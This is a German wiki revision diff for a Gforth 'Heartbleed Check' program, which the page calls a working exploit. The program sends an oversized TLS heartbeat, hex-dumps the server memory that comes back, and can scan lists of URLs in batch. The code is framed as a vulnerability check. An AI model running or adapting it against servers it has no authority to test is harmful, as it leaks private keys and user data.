Benutzer-Werkzeuge

Webseiten-Werkzeuge


examples:heartbleed

Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

Link zu dieser Vergleichsansicht

Beide Seiten der vorigen RevisionVorhergehende Überarbeitung
Nächste Überarbeitung
Vorhergehende Überarbeitung
examples:heartbleed [2014-04-11 17:50] – Drucke Host berndexamples:heartbleed [2014-04-11 22:00] (aktuell) bernd
Zeile 1: Zeile 1:
 ====== Heartbleed Check ====== ====== Heartbleed Check ======
  
-Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth (snapshot), und dann mit+Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth ([[http://www.complang.tuwien.ac.at/forth/gforth/Snapshots/|snapshot]]), und dann mit
  
 <code> <code>
Zeile 7: Zeile 7:
 </code> </code>
  
-starten.  Wenn ein länglicher Hexdump kommt, ist das die Heartbleed-Antwort.+starten.  Wenn ein länglicher Hexdump kommt, ist das die Heartbleed-Antwort.  Wenn man viele URLs hat, kann man die entweder per Shell-Script abarbeiten 
 + 
 +<code> 
 +cat <file> | xargs -L 1 gforth heartbleed.fs 
 +</code> 
 + 
 +oder Gforth starten und dann 
 + 
 +<code Forth> 
 +require heartbleed.fs 
 +s" <file>" file-heartbleed 
 +</code> 
 + 
 +Was der Code macht, ist schnell erklärt: Er schickt zuerst ein "Client Hello" an den Server, welcher daraufhin seine Zertifikate zurückschickt. Die werfe ich weg, denn ich will ja gar keine Verbindung aufbauen. Dann schicke ich einen Heartbeat ohne Payload und Padding, aber mit einer sehr langen Payload-Länge. Die erwarte ich dann als Antwort zurück; wenn ich sie bekomme, ist der Heartbleed-Bug vorhanden. Andere Antworten (etwa "Alert"), die TLS als Fehler schicken darf, werden ignoriert.
  
 <code Forth> <code Forth>
Zeile 40: Zeile 53:
     s" /dev/urandom" r/o open-file throw >r     s" /dev/urandom" r/o open-file throw >r
     random32 4 + 28 r@ read-file throw drop r> close-file throw ;     random32 4 + 28 r@ read-file throw drop r> close-file throw ;
- 
-Create pollfds pollfd %size allot 
  
 Variable buggy? Variable buggy?
  
-: get-heartbleed ( addr u port -- )  >r 2dup r> +: get-heartbleed ( addr u port -- )  >r 2dup r>  buggy? off 
-    1000000 set-socket-timeout +    1000000 set-socket-timeout  >random 
-    >random +    open-socket >r
-    open-socket >r  r@ fileno pollfds fd l!  POLLIN pollfds events w!+
     TLS-header header# r@ write-socket     TLS-header header# r@ write-socket
     BEGIN  r@ pad $10000 read-socket nip 0=  UNTIL     BEGIN  r@ pad $10000 read-socket nip 0=  UNTIL
     TLS-heartbleed heartbleed# r@ write-socket     TLS-heartbleed heartbleed# r@ write-socket
-    BEGIN  r@ pad $10000 read-socket dup  WHILE  dump buggy? on  REPEAT  2drop+    BEGIN  r@ pad $10000 read-socket 
 + over c@ $18 = buggy? @ or \ heartbeet reply 
 + over 0<> and 
 +    WHILE  dump buggy? on  REPEAT  2drop
     r> close-socket     r> close-socket
     type buggy? @  IF  ." : Heartbleed detected"  ELSE  ." : Everything ok"  THEN  cr ;     type buggy? @  IF  ." : Heartbleed detected"  ELSE  ." : Everything ok"  THEN  cr ;
 +
 +Variable files
 +
 +: file-heartbleed ( addr u -- )
 +    r/w open-file throw files $[]slurp
 +    files [: 443 get-heartbleed ;] $[]map ;
  
 script? [IF] script? [IF]
examples/heartbleed.1397231445.txt.gz · Zuletzt geändert: 2014-04-11 17:50 von bernd